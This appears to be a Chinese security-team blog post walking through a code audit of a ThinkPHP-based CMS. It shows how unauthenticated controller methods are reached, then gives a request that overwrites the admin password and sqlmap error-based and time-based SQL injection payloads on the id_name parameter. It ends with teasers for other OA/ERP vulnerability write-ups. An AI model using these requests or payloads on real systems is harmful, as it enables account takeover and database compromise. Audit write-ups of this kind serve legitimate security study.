手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

手把手教你审计PHP CMS漏洞 | 某腾CMS漏洞实战案例分析

原创 C4安全团队运营 Code4th安全团队 2025-02-14 00:05

代码审计是保障Web应用安全的关键环节,但往往被许多开发者和企业忽视。无论是小型的个人网站,还是大型的电商、金融平台,代码的安全性都至关重要。在这个数字化时代,代码漏洞可能直接导致数据泄露、资金损失甚至法律风险,因此,发现并修复代码中的漏洞,是每个开发者和安全人员的责任。

PHP代码审计的复杂性往往藏在代码的深处——从输入验证、数据处理到权限控制,任何一环的设计疏漏都可能成为攻击者的“入场券”,而多数开发者甚至企业的安全团队都对此缺乏系统认知。

团队将分享典型的PHP代码CMS审计思路,希望师傅们能从中看到代码审计的另一种视角。有不明白的地方,欢迎加入我的交流群一起探讨交流。

前言

PHP CMS入口在哪里?

这里的某腾CMS在最早期的挖掘过程中,作为代码审计练手的案例,给了我很多审计上面的经验

某腾CMS是基于ThinkPHP二次开发的内容管理系统,在某些方面继承了ThinkPHP的框架漏洞

常见的命令执行利用方法是修复了的,但是自带的组件,比如Ueditor组件没有做鉴权,导致了文件上传等漏洞,下面是详细的审计文档

该PHP CMS主页截图如下

咱们来看下CMS的入口在哪里,ThinkPHP的对应路径访问方法遵从以下的规则:

application路径下查看文件,根据以下对应的请求路径得到
m=mingteng&c=Uploadify&a=upload
m  --> 目录
c  --> controller文件
a  --> 方法

/application文件夹内容如下,参数m可以指定访问的文件夹名称,这里有common、home、mingteng都可以访问下面的文件和对应方法

/mingteng/controller文件夹内容如下

以文件夹其中的Uploadify.php文件为例,查看源码发现info数组里面是可以调用的方法

请求传参m=mingteng&c=Uploadify&a=fileList,调用fileList方法为查看temp目录下的所有文件

这样捋清楚了请求方法,就能调用每个文件里面的方法且没有权限验证,一个个试结合代码审计,总能出洞

挖掘案例

SQL注入出洞就是那么简单

在代码审计的过程中,我在控制器Index.php中发现了和数据库相关的参数名称

没有权限验证也可以调用该changeTableVal中的方法

构造:

https://xxxx/index.php?m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=admin_1&id_value=1&field=password&value=49ba59abbe56e057

对照down下来的sql样例文件,构造一个类似的修改数据库功能路径,SQL语句执行是没有权限验证的。这里构造的第一步table为存在的表名,id_name设为不存在的键值

此处存在update语句的SQL注入漏洞,可以使用sqlmap进行验证

Parameter: id_name (GET)
 Type: error-based
 Title: MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)
Payload: m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=GTID_SUBSET(CONCAT(0x716b786b71,(SELECT (ELT(4471=4471,1))),0x71706a7a71),4471)&id_value=1&field=password&value=49ba59abbe56e057
 Type: time-based blind
 Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: m=mingteng&c=Index&a=changeTableVal&table=admin&id_name=(SELECT 7655 FROM (SELECT(SLEEP(5)))GTMX)&id_value=1&field=password&value=49ba59abbe56e057

关于某腾的PHP CMS的代码审计的记录文档,已经放在团队的最新Freebuf知识大陆中,只是个红队内部小圈子

扫码即可加入查看文档详细内容

用友U8cloud,
是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。
用友U8Cloud在全版本中存在反序列化漏洞。未经授权的攻击者可以通过访问FileTransportServlet类时构造恶意请求包。

华天动力OA存在多个历史漏洞,结合源码进行分析。
华天动力是我国首批OA企业,是双软认证的高新技术企业,专注
OA办公系统
20余年,开放免费OA系统下载试用,旗下OA产品累计为37500多个客户提供高效OA办公体验。

致远A8
,又称致远互联A8
协同管理软件
,是面向中型、大型、集团型组织(集团版OA)的数字化协同运营中台。A8版本的系统小版本较多,本次分析用的是致远A8 V7 SP1版本源码。

END

关注Cod
e4th安全团队

了解更多安全相关内容~